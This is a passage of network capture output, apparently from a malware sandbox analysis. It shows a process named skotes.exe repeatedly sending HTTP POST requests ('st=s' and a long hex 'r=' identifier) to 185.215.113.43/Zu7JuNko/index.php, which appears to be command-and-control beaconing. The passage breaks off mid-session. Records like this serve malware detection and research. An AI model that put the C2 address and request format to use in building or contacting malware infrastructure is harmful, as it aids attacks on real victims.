102	192.168.2.6	50208	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:32:57.410959005 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:32:58.787497997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50212	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:00.425708055 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:01.772747993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50213	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:03.522449017 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:33:04.909356117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50214	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:06.534077883 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:07.954543114 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50215	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:09.690536022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:33:11.083658934 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50216	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:12.724711895 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:14.134795904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50217	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:15.882440090 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:33:17.268178940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50218	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:18.894752979 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:20.295370102 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50219	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:22.034454107 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:33:23.416074991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50220	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:25.044835091 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:26.472404003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50221	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:28.219789982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:33:29.551017046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50222	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:31.194224119 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:32.553533077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50223	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:34.456844091 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:33:35.890270948 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	50224	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:37.523296118 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:38.914530993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50225	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:40.662463903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:33:42.009063959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50226	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:43.637046099 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:45.025275946 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	50227	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:46.767273903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:33:48.107902050 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	50228	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:49.744784117 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:51.129844904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50229	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:52.883764029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:33:54.273375988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50230	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:55.899632931 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:33:57.294243097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	50231	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:33:59.033052921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:00.374140024 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	50234	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:02.010579109 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:03.360023022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	50235	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:05.105190039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:34:06.491595984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	50236	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
